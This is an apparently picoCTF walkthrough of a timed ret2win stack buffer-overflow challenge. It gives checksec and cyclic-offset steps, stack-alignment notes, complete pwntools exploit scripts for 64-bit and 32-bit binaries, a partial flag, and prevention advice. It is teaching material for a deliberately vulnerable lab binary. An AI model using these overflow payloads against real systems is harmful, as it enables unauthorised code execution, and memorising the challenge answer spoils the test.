Description
It's a race against time. Solve the binary exploit ASAP.
Setup
Solution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Reconnaissance
ObservationThe binary is regenerated per instance and you get roughly 120 seconds. Script everything, and run file first: the pack width and register names both depend on whether it is 32-bit or 64-bit.This challenge regenerates a fresh binary from a code bank on each instance and gives you only ~120 seconds to exploit it, so script everything and don't hand-edit offsets. Critically, the generated binary may be 32-bit OR 64-bit - runfile vulnfirst and let the answer pick your tooling (p32/EIP/EBP vs p64/RIP/RBP). Then check protections and the interface.bashfile vuln # 32-bit (ELF 32) or 64-bit (ELF 64)? decides p32 vs p64bashchecksec vulnbashnc <HOST> <PORT_FROM_INSTANCE>bashobjdump -d vuln | grep -A10 winExpected output
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, not stripped
What didn't work first
Tried: Skip
file vulnand assume 64-bit because most modern systems are 64-bit, then use p64() and RIP-based offsets throughout.The challenge randomizes between 32-bit and 64-bit per instance. Pack 8 bytes for a 32-bit binary and the payload length is wrong and the return address lands in garbage. One second with file avoids a silent mismatch that crashes without explanation.
Tried: Use
readelf -h vulninstead offile vulnto check the architecture.readelf shows the same information in its class field, but the output is verbose and needs reading by hand. file prints one line naming the width, which is faster under a two-minute timer.
Learn more
Check the architecture first. Because each instance ships a different binary, you cannot assume 64-bit. A 32-bit ELF uses 4-byte addresses, packs them with
p32(), overflows throughEBPintoEIP, and has no 16-byte movaps alignment requirement; win addresses live in the0x0804xxxxrange. A 64-bit ELF uses 8-bytep64()addresses, overflowsRBPintoRIP, and may need a ret-gadget for stack alignment. Everything below is written for the 64-bit case; the final step shows the 32-bit variant.checksec is a script that inspects a compiled binary for modern security mitigations. The key properties it reports are: NX (non-executable stack), PIE (position-independent executable, randomises base address), stack canaries (secret values that detect overflows), RELRO (read-only relocations, hardens GOT), and FORTIFY (compile-time buffer checks).
For a basic ret2win challenge, you want to see: NX enabled (so you can't run shellcode on the stack), no PIE or PIE with a leak (so the win address is predictable), no stack canary (so you can overwrite the return address without detection). Understanding these protections upfront tells you exactly which exploit technique is applicable.
- NX on, no canary, no PIE: classic ret2win with a fixed win address
- NX on, no canary, PIE on: need an address leak first
- NX off: shellcode injection is possible (see offset-cycleV2)
Step 2Find the buffer overflow offset
ObservationInput goes into a fixed-size buffer with no length check. Send a cyclic pattern long enough to overflow it, then read the unique bytes at RSP after the crash to find the padding length.The primary approach is to read the buffer allocation size directly from objdump disassembly of the vuln function (look for the sub esp/rsp instruction value and compute the offset manually from the hex). Because the server also provides C source, you can read the buffer size straight from the source without any disassembly. The cyclic/GDB approach below is a valid alternative but is not the primary intended route.pythonpython3 -c "from pwn import *; print(cyclic(200))" > pattern.txtbash# Crash inside GDB and inspect the stack interactively:bashgdb -q ./vulnbash(gdb) run < pattern.txtbash# When SIGSEGV hits, dump the stack to find the overflowing pattern:bash(gdb) x/s $rspbash(gdb) x/16gx $rspbash# Then plug the leaked bytes back into cyclic_find:pythonpython3 -c "from pwn import *; print(cyclic_find(b'<value at rsp>'))"The chained
-exform (gdb -ex 'run' -ex 'x/s $rsp') only works when the program exits cleanly. If you want a one-liner that survives a segfault, chain a backtrace instead:gdb -batch -ex 'run < pattern.txt' -ex 'bt' -ex 'x/8gx $rsp' ./vuln. For interactive poking, drop the-batchand stay in the prompt after the crash.What didn't work first
Tried: Inspect RIP directly after the crash with
(gdb) info registers ripinstead of dumping $rsp, then pass those bytes to cyclic_find().On 64-bit the kernel rejects non-canonical addresses, so the fault fires before RIP updates and the register shows zero or the last valid address rather than your pattern. Those bytes sit on the stack just below where RSP points after the crash, so read there instead.
Tried: Generate a 200-byte cyclic pattern and send it to a 256-byte buffer, expecting the pattern to reach the return address.
If the buffer is larger than your pattern, the return address is never touched and the program exits cleanly with nothing to read. The pattern has to cover the buffer plus the saved frame pointer. Start at 300 bytes when the size is unknown.
Learn more
A cyclic pattern (also called a De Bruijn sequence) is a string where every substring of length N appears exactly once. pwntools generates these with
cyclic(length). When the program crashes, whatever 4 or 8 bytes ended up in the instruction pointer (RIP/EIP) or on the stack are a unique subsequence of the pattern -cyclic_find()instantly tells you the byte offset to that position.The offset you find is the number of bytes of padding needed before you start overwriting the saved return address. This is typically the local buffer size plus any saved frame pointer bytes above it. Understanding this precisely is critical: one byte too few and the return address isn't overwritten; one byte too many and you start overwriting the wrong things.
Alternative methods: disassemble the function to find the
sub rsp, Xinstruction that allocates the buffer (Ghidra is great for this, see the Ghidra reverse engineering post), use GDB's built-in pattern commands, or check upstream source if the challenge author published it. For deeper GDB workflow tips, see the GDB for CTF guide; for the broader stack-overflow background, see Buffer overflow exploitation for CTF.Step 3Locate the win function address
Observationchecksec reports no PIE, so the binary loads at the same base every run and the win address from objdump or a symbol lookup holds without any runtime leak.Find the address of the win/flag function using objdump or pwntools ELF.bashobjdump -d vuln | grep '<win>' # the binary may be named 32 or vuln depending on the instancebash# e.g.: objdump -D 32 | grep winpythonpython3 -c "from pwn import *; e=ELF('./vuln'); print(hex(e.sym['win']))"What didn't work first
Tried: Use
objdump -d vuln | grep '<flag>'to find the win function, because some versions call it 'flag' instead of 'win'.Both the binary name and the target function name vary per instance, so grepping for one spelling misses alternatives like flag, give_flag, or print_flag, and a hardcoded symbol lookup fails the same way. Grep for a set of names, or iterate the symbol table looking for anything non-standard near main.
Tried: Hard-code the win address from a previous run (e.g. 0x401196) and skip the objdump step on subsequent attempts.
Each instance regenerates the binary from a code bank, so the win address moves between sessions. A value carried over from last time points at arbitrary instructions or segfaults. Resolve it from the binary you have now.
Learn more
In a ret2win challenge, there is a function in the binary (often called
win,flag,give_flag, or similar) that prints the flag but is never called in normal program flow. Your goal is to redirect execution to it by overwriting the return address.objdump -d disassembles the binary and shows the address of every function. pwntools'
ELFclass parses the binary's symbol table and lets you look up addresses by name withe.sym['win']. When PIE is disabled, these addresses are fixed and valid without any runtime leak.In 64-bit Linux, return addresses are 8 bytes and stored little-endian. pwntools'
p64(address)function converts an integer address to the correct 8-byte little-endian representation ready to paste into your payload.Step 4Build and send the payload
ObservationOn 64-bit glibc, win() calls puts or printf, and both use SSE instructions that require RSP aligned to 16 bytes at call time. A bare ret gadget before the win address flips the alignment and touches nothing else.Run the exploit without an alignment gadget first. If you crash with SIGSEGV inside a movaps instruction in win() or _IO_*, then add a single ret gadget before the win address to flip the 16-byte alignment.bash# Find a RET gadget for alignment if needed:bashROPgadget --binary vuln | grep ': ret$'What didn't work first
Tried: Skip the ROPgadget step and just send the payload directly to win, assuming alignment issues only matter for libc functions and not a simple win() that calls puts().
Both puts and printf use SSE instructions internally on glibc x86-64, so if win() calls either, an aligned move fires before any output and the process dies silently. The alignment gadget costs 8 bytes and is always safe. Guessing wrong costs a retry you do not have time for.
Tried: Use a
pop rdi; retgadget instead of a bareretto fix alignment, since pop rdi is a common first ROP gadget.A pop-then-return gadget consumes an extra 8-byte slot from your payload on its way past, shifting the win address and sending you somewhere else unless you restructure around it. A bare ret moves RSP by exactly 8 with no side effects and no extra slot.
Learn more
The stack alignment issue is a common stumbling block in 64-bit ret2win exploits. The x86-64 System V ABI requires that RSP be 16-byte aligned immediately before a
callinstruction executes (so at function entry, aftercallhas pushed the 8-byte return address, RSP is congruent to 8 modulo 16, and the standard prologue restores the alignment). Some functions use SSE instructions likemovapsthat crash with a SIGSEGV if the stack is misaligned.The fix is to insert an extra single-byte
retgadget before the win address in your payload. A bareretpops 8 bytes off the stack and returns, adjusting RSP by 8 - this flips the alignment from misaligned to properly aligned before the win function's prologue runs.ROPgadget and ropper are tools that scan binaries for short instruction sequences ending in
ret, called ROP (Return-Oriented Programming) gadgets. Even for this simple challenge, the single-byteretgadget is your first ROP gadget. More complex exploits chain dozens of these to build arbitrary computation.Step 5Exploit script
ObservationThree values came out of the previous steps: the offset, the win address, and the optional ret gadget. Assemble them into one pwntools script and use sendlineafter so the timing holds over the network.Full pwntools exploit. The RET gadget is only needed if you see a crash inside win() at a movaps instruction.pythonpython3 - <<'EOF' from pwn import * HOST, PORT = "<HOST>", <PORT_FROM_INSTANCE> e = ELF("./vuln") OFFSET = <offset> # found with cyclic WIN = e.sym["win"] # address of win/flag function RET_GADGET = <ret_addr> # optional: one-byte RET for 16-byte alignment payload = b"A" * OFFSET payload += p64(RET_GADGET) # remove this line if alignment isn't needed payload += p64(WIN) r = remote(HOST, PORT) r.sendlineafter(b":", payload) r.interactive() EOFIf
file vulnreported a 32-bit ELF (as the random binary often is), switch to the 32-bit packer and drop the alignment gadget entirely - 32-bit has no movaps issue:from pwn import * e = ELF("./vuln") OFFSET = <offset> # 32-bit: buffer size + 4 (the saved EBP) WIN = e.sym["win"] # 32-bit win lands around 0x0804xxxx payload = b"A" * OFFSET payload += p32(WIN) # 4-byte little-endian, no ret-gadget needed r = remote("<HOST>", <PORT_FROM_INSTANCE>) r.sendlineafter(b":", payload) r.interactive()What didn't work first
Tried: Use
r.sendline(payload)instead ofr.sendlineafter(b':', payload)to avoid having to know the exact prompt string.Without waiting for the prompt, pwntools sends the payload before the server is ready to read. Over a remote connection the bytes arrive mid-output and the read consumes part of the prompt rather than the payload, corrupting the offset and ending in a clean exit rather than a shell. sendlineafter keeps the two in step.
Tried: Run the exploit script locally against
./vulnusingprocess('./vuln')first to confirm it works, then switch toremote()for the server.Local testing is good practice in general, but here each session regenerates the binary, so the offset and win address you measured may not match the instance you are attacking. Re-download from the live instance and re-derive both.
Learn more
pwntools is the standard Python library for binary exploitation CTF challenges. It provides:
remote(host, port)for connecting to servers,ELFfor parsing binaries,p64()/p32()for packing addresses,cyclic()/cyclic_find()for offset discovery, andinteractive()for dropping into an interactive shell session once exploitation succeeds.The
sendlineafter(b":", payload)pattern waits until the program outputs a colon (the input prompt) before sending your payload. This synchronisation is important for remote exploits where network latency means you can't just blindly send data immediately.The
r.interactive()call at the end hands control of stdin/stdout to your terminal, letting you type commands in the spawned shell or read output. In a ret2win challenge the flag is printed automatically, butinteractive()is still useful to confirm the output and debug failures.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{u_Us3d_pwNt00L5_...}
ret2win buffer overflow against a per-instance binary on a ~120s timer, so script it. Run `file vuln` first: 32-bit uses p32 + a 0x0804xxxx win address with no alignment gadget; 64-bit uses p64 and may need a RET gadget to fix movaps stack alignment. Find the offset with a cyclic pattern and locate win with objdump/pwntools.
Key takeaway
How to prevent this
How to prevent this
ret2win is the simplest stack overflow primitive. Any one of the standard mitigations breaks it.
- Replace unbounded reads with bounded ones:
fgets(buf, sizeof(buf), stdin), nevergets()orscanf("%s", buf). The compiler warns aboutgets; treat the warning as an error. - Compile with
-fstack-protector-strong. The canary detects the overflow beforeretexecutes and aborts. Negligible runtime cost, near-perfect coverage for this bug class. - Don't ship a
win()function that reads /flag. CTF binaries do this for educational purposes; production code should never have an "unlock everything" function reachable from a return-address overwrite.